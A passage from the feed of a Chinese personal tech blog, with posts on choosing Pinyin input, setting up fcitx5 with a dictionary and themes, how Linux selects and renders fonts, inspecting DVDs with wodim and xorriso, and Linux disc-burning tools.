&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;名称&lt;&#x2F;th&gt;&lt;th&gt;是输入法吗？&lt;&#x2F;th&gt;&lt;th&gt;能输入汉字吗？&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;拼音&lt;&#x2F;td&gt;&lt;td&gt;✅ 是&lt;&#x2F;td&gt;&lt;td&gt;✅ 能&lt;&#x2F;td&gt;&lt;td&gt;用拼音打汉字&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;键盘-汉语&lt;&#x2F;td&gt;&lt;td&gt;❌ 不是&lt;&#x2F;td&gt;&lt;td&gt;❌ 不能&lt;&#x2F;td&gt;&lt;td&gt;把 , . ; : ? ! 变成中文标点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;dart-jian-yi&quot;&gt;🎯 建议：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;日常使用请添加 “拼音” 作为主要中文输入法。&lt;&#x2F;li&gt;
&lt;li&gt;“键盘-汉语”可作为辅助，但大多数情况下不需要单独启用，因为“拼音”输入法已经内置了中文标点支持。&lt;&#x2F;li&gt;
&lt;li&gt;如果你只是想正常打中文，“加一个‘拼音’就够了” ✅&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>fcitx拼音配置</title>
        <published>2025-08-08T12:03:48+08:00</published>
        <updated>2025-08-08T12:03:48+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/fcitx拼音配置/"/>
        <id>https://vercel.juzhong.asia/2025/08/fcitx拼音配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/fcitx拼音配置/">&lt;h1 id=&quot;fcitx-flexible-input-method-framework-ji-xiao-qi-e-shu-ru-fa&quot;&gt;Fcitx (Flexible Input Method Framework) ── 即小企鹅输入法&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;an-zhuang-fcitx5shu-ru-fa-kuang-jia&quot;&gt;安装fcitx5输入法框架&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fcitx5 \
    fcitx5-chinese-addons \
    fcitx5-frontend-gtk4 fcitx5-frontend-gtk3 fcitx5-frontend-gtk2 \
    fcitx5-frontend-qt5

sudo apt install fcitx5-config-qt fcitx5-frontend-qt6 fcitx5-module-xorg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;an-zhuang-zhong-wen-ci-ku&quot;&gt;安装中文词库&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载词库文件
wget https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;felixonmars&amp;#x2F;fcitx5-pinyin-zhwiki&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;0.2.4&amp;#x2F;zhwiki-20220416.dict
# 创建存储目录
mkdir -p ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fcitx5&amp;#x2F;pinyin&amp;#x2F;dictionaries&amp;#x2F;
# 移动词库文件至该目录
mv zhwiki-20220416.dict ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fcitx5&amp;#x2F;pinyin&amp;#x2F;dictionaries&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-shu-ru-fa&quot;&gt;配置输入法&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;im-config
im-config -n fcitx5

cat &amp;lt;&amp;lt;EOF &amp;gt; ~&amp;#x2F;.pam_environment
XMODIFIERS=@im=fcitx
GTK_IM_MODULE=fcitx
QT_IM_MODULE=fcitx
INPUT_METHOD=fcitx
EOF

fcitx5-configtool

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cha-kan-gnomede-input-sources&quot;&gt;查看gnome的input-sources&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings get org.gnome.desktop.input-sources sources
gsettings set org.gnome.desktop.input-sources sources &amp;quot;[(&amp;#x27;xkb&amp;#x27;, &amp;#x27;us&amp;#x27;), (&amp;#x27;xkb&amp;#x27;, &amp;#x27;zh&amp;#x27;)]&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhu-ti-pei-zhi&quot;&gt;主题配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir -p ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fcitx5&amp;#x2F;themes
git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;hosxy&amp;#x2F;Fcitx5-Material-Color.git ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;fcitx5&amp;#x2F;themes&amp;#x2F;Material-Colokkr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;chang-jian-cuo-wu&quot;&gt;常见错误&lt;&#x2F;h1&gt;
&lt;p&gt;修复系统托盘显示异常&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install gnome-shell-extension-appindicator
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;thep0y&#x2F;fcitx5-themes-canGdlelight.git&quot;&gt;主题&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;582899001&quot;&gt;fctix5配置&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux字体渲染过程</title>
        <published>2025-08-08T00:39:43+08:00</published>
        <updated>2025-08-08T00:39:43+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux字体渲染过程/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux字体渲染过程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux字体渲染过程/">&lt;p&gt;电脑在显示文字时选择字体并进行渲染的过程涉及多个步骤和技术，这些过程确保了文本能够以清晰、美观的方式呈现在屏幕上。以下是这一过程的基本概述：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zi-ti-xuan-ze&quot;&gt;字体选择&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;应用程序请求：当一个应用程序需要显示文本时，它会首先根据设计或用户设置指定一种或多种字体。这可能包括首选字体、次选字体等，形成一个优先级列表。&lt;&#x2F;li&gt;
&lt;li&gt;系统字体配置：操作系统维护着一个字体管理系统，该系统负责跟踪已安装的字体及其特性（如样式、权重、宽度等）。当应用请求特定字体时，操作系统会检查其字体库中是否有匹配项。&lt;&#x2F;li&gt;
&lt;li&gt;字体回退机制：如果首选字体不可用，操作系统将按照预定义的规则自动选择其他字体作为替代，这个过程称为字体回退或字体链。例如，如果请求的是“Arial”，但系统中没有安装Arial，可能会回退到相似的sans-serif字体如“Helvetica”或“DejaVu Sans”。&lt;&#x2F;li&gt;
&lt;li&gt;国际化支持：对于多语言文本，系统还会考虑字符集和语言脚本，选择支持所需字符的语言专用字体或包含广泛字符集的通用字体。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ju-ti-liu-cheng&quot;&gt;具体流程&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;步骤1：确定文本的编码和语言
&lt;ul&gt;
&lt;li&gt;系统首先识别文本的 字符编码（如UTF-8）和 语言属性（如中文、阿拉伯文）。&lt;&#x2F;li&gt;
&lt;li&gt;例如：汉字 你（Unicode码位 U+4F60） vs. 拉丁字母 A（U+0041）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;步骤2：匹配字体列表
&lt;ul&gt;
&lt;li&gt;应用程序或系统会按优先级检查以下来源：
&lt;ul&gt;
&lt;li&gt;应用指定字体（如CSS中定义的 font-family: &quot;Noto Sans CJK SC&quot;）。&lt;&#x2F;li&gt;
&lt;li&gt;系统默认字体（如Windows的微软雅黑、macOS的苹方、Linux的Noto Sans CJK）。&lt;&#x2F;li&gt;
&lt;li&gt;字体回退链（Fallback Chain）：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;如果首选字体缺少当前字符，系统会依次尝试其他字体（例如：中文→日文→通用符号字体）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;步骤3：选择最佳字体
&lt;ul&gt;
&lt;li&gt;通过 字体匹配算法 确定最终字体，考虑因素包括：
&lt;ul&gt;
&lt;li&gt;字符覆盖：字体是否包含该字符（如CJK字体优先匹配汉字）。&lt;&#x2F;li&gt;
&lt;li&gt;语言区域：系统语言设置可能影响选择（如简体中文环境优先选择SC版字体）。&lt;&#x2F;li&gt;
&lt;li&gt;样式匹配：粗体、斜体等属性是否可用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zi-ti-xuan-ran&quot;&gt;字体渲染&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;栅格化：一旦选择了合适的字体文件，下一步是将矢量轮廓转换为适合屏幕分辨率的位图图像，这一过程叫做栅格化。高质量的字体渲染引擎（如FreeType）可以执行抗锯齿处理和平滑边缘的技术来改善可读性。&lt;&#x2F;li&gt;
&lt;li&gt;子像素渲染：为了进一步提高清晰度，特别是对于LCD显示器，可以采用子像素渲染技术（如ClearType）。这种方法利用了每个像素由红、绿、蓝三个子像素组成的事实，通过对每个子像素单独控制来增强细节表现力。&lt;&#x2F;li&gt;
&lt;li&gt;布局与定位：完成栅格化后，接下来是确定每个字符的确切位置。这涉及到计算行间距、字距调整（kerning）、连字（ligatures）等因素，确保文本不仅清晰而且排版美观。&lt;&#x2F;li&gt;
&lt;li&gt;显示输出：最后，经过上述所有步骤处理后的位图被发送到图形硬件，并最终显示在屏幕上。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ju-ti-liu-cheng-1&quot;&gt;具体流程&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;步骤1：字形定位（Glyph Lookup）
&lt;ul&gt;
&lt;li&gt;从选定的字体文件中找到对应字符的 字形数据（Glyph），即字符的图形描述（通常是矢量轮廓）。&lt;&#x2F;li&gt;
&lt;li&gt;例如：你 的字形可能存储在字体文件的 cmap（字符映射表）中。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;步骤2：文本整形（Text Shaping）
&lt;ul&gt;
&lt;li&gt;复杂脚本（如阿拉伯文、印度文）需要额外处理：
&lt;ul&gt;
&lt;li&gt;连字（Ligatures）：如 fi 合并为单一字形。&lt;&#x2F;li&gt;
&lt;li&gt;字形替换：同一字符在不同位置显示不同形状（如阿拉伯字母的孤立形、词中形）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;工具：HarfBuzz（开源文本整形引擎，被Linux&#x2F;macOS&#x2F;浏览器广泛使用）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;步骤3：栅格化（Rasterization）
&lt;ul&gt;
&lt;li&gt;将矢量字形转换为屏幕上的 像素图形，关键技术和优化：
&lt;ul&gt;
&lt;li&gt;抗锯齿（AA）：通过灰度过渡平滑边缘（如Freetype库的 subpixel rendering）。&lt;&#x2F;li&gt;
&lt;li&gt;亚像素渲染：利用LCD屏幕的RGB子像素提高清晰度（如Windows的ClearType）。&lt;&#x2F;li&gt;
&lt;li&gt;HiDPI适配：在高分辨率屏幕下缩放矢量轮廓后渲染。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;步骤4：合成与输出
&lt;ul&gt;
&lt;li&gt;渲染后的字形与其他元素（如图片、背景）合成最终图像，交给显示驱动输出到屏幕。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;整个流程中，字体选择和渲染的质量直接影响到用户体验，尤其是在长时间阅读或处理大量文本的情况下。因此，现代操作系统和浏览器都投入了大量的努力优化字体管理和渲染算法，以提供最佳的视觉效果。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 使用命令行查看dvd信息</title>
        <published>2025-08-06T23:53:43+08:00</published>
        <updated>2025-08-06T23:53:43+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux 使用命令行查看dvd信息/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux 使用命令行查看dvd信息/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux 使用命令行查看dvd信息/">&lt;h1 id=&quot;cha-kan-guang-pan-xin-xi&quot;&gt;查看光盘信息&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wodim dev=&amp;#x2F;dev&amp;#x2F;sr0 -atip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;she-bei-ji-ben-xin-xi&quot;&gt;设备基本信息&lt;&#x2F;h2&gt;
&lt;p&gt;*Device type : Removable CD-ROM
*设备类型为 可移动的 CD-ROM 驱动器（实际支持多种光盘类型，如 DVD&#x2F;CD）。
*Version : 0
*SCSI&#x2F;ATAPI 命令集的版本号（0 表示基础版本，无特殊功能）。
*Response Format: 2
*ATIP（Absolute Time in Pre-groove）数据的响应格式为 第2版（标准 DVD&#x2F;CD 信息格式）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;she-bei-neng-li-capabilities&quot;&gt;设备能力（Capabilities）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Vendor_info : &#x27;HL-DT-ST&#x27;&lt;&#x2F;li&gt;
&lt;li&gt;光驱的制造商是 HL-DT-ST（即 LG 旗下的光存储品牌）。&lt;&#x2F;li&gt;
&lt;li&gt;Identification : &#x27;DVDRAM GT30N&#x27;&lt;&#x2F;li&gt;
&lt;li&gt;设备型号为 DVDRAM GT30N（一款支持 DVD-RAM 的刻录机）。&lt;&#x2F;li&gt;
&lt;li&gt;Revision : &#x27;NH02&#x27;&lt;&#x2F;li&gt;
&lt;li&gt;固件版本号为 NH02（厂商内部定义的固件版本）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;she-bei-qu-dong-yu-mo-shi&quot;&gt;设备驱动与模式&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Device seems to be: Generic mmc2 DVD-R&#x2F;DVD-RW.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;系统识别此设备为 通用 MMC-2 标准的 DVD-R&#x2F;DVD-RW 驱动器（支持 DVD-R 和 DVD-RW 刻录）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Using generic SCSI-3&#x2F;mmc DVD-R(W) driver (mmc_mdvd).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;当前使用的驱动是 通用 SCSI-3&#x2F;MMC 标准驱动（mmc_mdvd 是 Linux 内核模块）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Driver flags : SWABAUDIO BURNFREE&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;驱动支持的标志：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;SWABAUDIO：表示驱动支持音频数据的字节序转换（Swap Audio Bytes），确保音频 CD 播放时左右声道正确。&lt;&#x2F;li&gt;
&lt;li&gt;BURNFREE：一种缓冲区欠载保护技术（类似 JustLink、PowerBurn），防止因系统延迟导致刻录失败。当数据流暂时中断时，自动暂停并恢复，避免刻录失败。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Supported modes: PACKET SAO&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;支持的刻录模式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;PACKET：支持分组刻录（Packet Writing），允许像 U 盘一样小块写入数据（常用于 UDF 文件系统）。&lt;&#x2F;li&gt;
&lt;li&gt;SAO（Session At Once）：支持“一次会话”刻录模式，适合一次性写完一个完整会话（如 ISO 镜像）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;⚠️ 注意：这里没有显示 TAO（Track at Once）或 DAO（Disk at Once），但大多数现代驱动器其实也支持这些模式，只是未在此列出。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cha-kan-guang-pan-mu-lu-jie-gou-toc&quot;&gt;查看光盘目录结构（TOC）&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wodim -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -toc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cha-kan-guang-pan-xin-xi-1&quot;&gt;查看光盘信息&lt;&#x2F;h1&gt;
&lt;p&gt;安装工具&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install wodim xorriso genisoimage blkid util-linux
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;udevadm&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看光驱设备详细信息（厂商、型号、序列号等）
udevadm info --query=all --name=&amp;#x2F;dev&amp;#x2F;sr0 | grep -i &amp;#x27;id\|modalias\|vendor\|model&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;wodim&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看光盘 TOC（Table of Contents）——适用于已写入数据的光盘
wodim -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -toc
# 查看 CD-R&amp;#x2F;RW 光盘的 ATIP 信息（必须插入 CD-R 空盘）
wodim -atip dev=&amp;#x2F;dev&amp;#x2F;sr0
# 查看光驱基本信息
wodim -v dev=&amp;#x2F;dev&amp;#x2F;sr0 -scanbus
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;xorriso&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看光盘基本信息（文件系统、卷名、创建时间等）
xorriso -indev &amp;#x2F;dev&amp;#x2F;sr0 -report_el_torito as mkisofs -o &amp;#x2F;dev&amp;#x2F;null
# 显示光盘的完整结构（会话、轨道、文件系统）
xorriso -indev &amp;#x2F;dev&amp;#x2F;sr0 -list_delimiter &amp;quot;\n&amp;quot; -l -tree
# 查看是否支持多会话
xorriso -indev &amp;#x2F;dev&amp;#x2F;sr0 -info
# 提取光盘的卷标（Volume ID）
xorriso -indev &amp;#x2F;dev&amp;#x2F;sr0 -volume_date all_file_dates
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dvd+rw-mediainfo &amp;#x2F;dev&amp;#x2F;sr0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;isoinfo&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出光盘根目录内容
isoinfo -i &amp;#x2F;dev&amp;#x2F;sr0 -l
# 显示光盘卷信息（卷名、系统标识、创建时间等）
isoinfo -d -i &amp;#x2F;dev&amp;#x2F;sr0
# 提取光盘的卷标（Volume ID）
isoinfo -i &amp;#x2F;dev&amp;#x2F;sr0 -J -x &amp;#x27;&amp;#x2F;LABEL.TXT&amp;#x27;  # 假设文件存在
isoinfo -f -i &amp;#x2F;dev&amp;#x2F;sr0  # 列出文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;blkid&#x2F;lsblk&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看光盘文件系统类型（ISO9660、UDF、none 等）
blkid &amp;#x2F;dev&amp;#x2F;sr0
# 查看设备挂载状态和大小
lsblk -f &amp;#x2F;dev&amp;#x2F;sr0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install udftools
udfinfo &amp;#x2F;dev&amp;#x2F;sr0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux dvd刻录工具介绍</title>
        <published>2025-08-06T23:18:44+08:00</published>
        <updated>2025-08-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux dvd刻录工具介绍/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux dvd刻录工具介绍/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux dvd刻录工具介绍/">&lt;p&gt;在 Linux 系统中，有多个功能类似 ImgBurn 的光盘刻录工具，支持光盘写入、镜像制作、光盘擦除等功能，且多数是开源免费的。以下是几款常用工具及特点：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;brasero-tui-jian-xin-shou&quot;&gt;Brasero（推荐新手）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;特点：GNOME 桌面环境默认的刻录工具，界面简洁直观，操作类似 ImgBurn 的基础功能，支持多会话写入、光盘镜像制作 &#x2F; 刻录、光盘复制等。&lt;&#x2F;li&gt;
&lt;li&gt;支持格式：ISO、CUE&#x2F;BIN、NRG 等常见镜像格式，以及数据光盘、音频 CD、视频 DVD 刻录。&lt;&#x2F;li&gt;
&lt;li&gt;优势：对新手友好，自动检测光驱和光盘状态，支持 “封闭光盘”（Finalize）选项。&lt;&#x2F;li&gt;
&lt;li&gt;安装：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Ubuntu&amp;#x2F;Debian：sudo apt install brasero
Fedora：sudo dnf install brasero
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;k3b-gong-neng-quan-mian-tui-jian-jin-jie-yong-hu&quot;&gt;K3b（功能全面，推荐进阶用户）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;特点：KDE 桌面环境的经典刻录工具，功能接近 ImgBurn 的专业级，支持多段写入、光盘擦除（针对可擦写光盘）、镜像校验、蓝光刻录等高级功能。&lt;&#x2F;li&gt;
&lt;li&gt;支持格式：几乎所有主流镜像格式（ISO、BIN&#x2F;CUE、MDS、NRG 等），还能直接刻录视频 DVD、音频 CD 及数据光盘。&lt;&#x2F;li&gt;
&lt;li&gt;优势：可手动控制刻录速度、会话管理（关闭 &#x2F; 开放会话），适合需要精细操作的场景（如封闭光盘、多段写入）。&lt;&#x2F;li&gt;
&lt;li&gt;安装：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Ubuntu&amp;#x2F;Debian：sudo apt install k3b
Fedora：sudo dnf install k3b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xfburn-qing-liang-xiao-qiao&quot;&gt;Xfburn（轻量小巧）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;特点：针对轻量桌面（如 Xfce）设计的刻录工具，体积小、启动快，功能精简但够用，支持数据刻录、镜像制作 &#x2F; 写入、光盘擦除。&lt;&#x2F;li&gt;
&lt;li&gt;优势：资源占用低，适合老旧电脑或对界面复杂度有要求的用户。&lt;&#x2F;li&gt;
&lt;li&gt;安装：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Ubuntu&amp;#x2F;Debian：sudo apt install xfburn
Fedora：sudo dnf install xfburn
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;wodim-genisoimage-ming-ling-xing-gong-ju-gua-he-jiao-ben-zi-dong-hua&quot;&gt;wodim + genisoimage（命令行工具，适合脚本自动化）&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;特点：如果习惯命令行操作，wodim（光盘写入）和 genisoimage（镜像制作）是 Linux 下的经典组合，功能强大且可集成到脚本中批量处理。&lt;&#x2F;li&gt;
&lt;li&gt;常用命令示例：
&lt;ul&gt;
&lt;li&gt;制作 ISO 镜像：genisoimage -o output.iso &#x2F;path&#x2F;to&#x2F;files
&lt;ul&gt;
&lt;li&gt;刻录 ISO 到光盘：wodim dev=&#x2F;dev&#x2F;sr0 -speed=4 output.iso（&#x2F;dev&#x2F;sr0 为光驱设备名，-speed 指定速度）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;模拟刻录：wodim dev=&#x2F;dev&#x2F;sr0 -v -eject speed=4 input.iso
&lt;ul&gt;
&lt;li&gt;封闭光盘：wodim dev=&#x2F;dev&#x2F;sr0 -finalize&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;安装：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Ubuntu&amp;#x2F;Debian：sudo apt install wodim genisoimage
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ming-ling-xing-dvdgong-ju-dui-bi&quot;&gt;命令行dvd工具对比&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;mkisofs：创建ISO镜像（现通常被 genisoimage 或 xorriso 替代）。&lt;&#x2F;li&gt;
&lt;li&gt;cdrecord：刻录光盘（Linux中常被 wodim 替代）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;growisofs&quot;&gt;growisofs&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;专为DVD&#x2F;BD刻录设计的工具，基于 dvd+rw-tools。&lt;&#x2F;li&gt;
&lt;li&gt;直接写入ISO或文件到DVD&#x2F;BD，无需先创建镜像。&lt;&#x2F;li&gt;
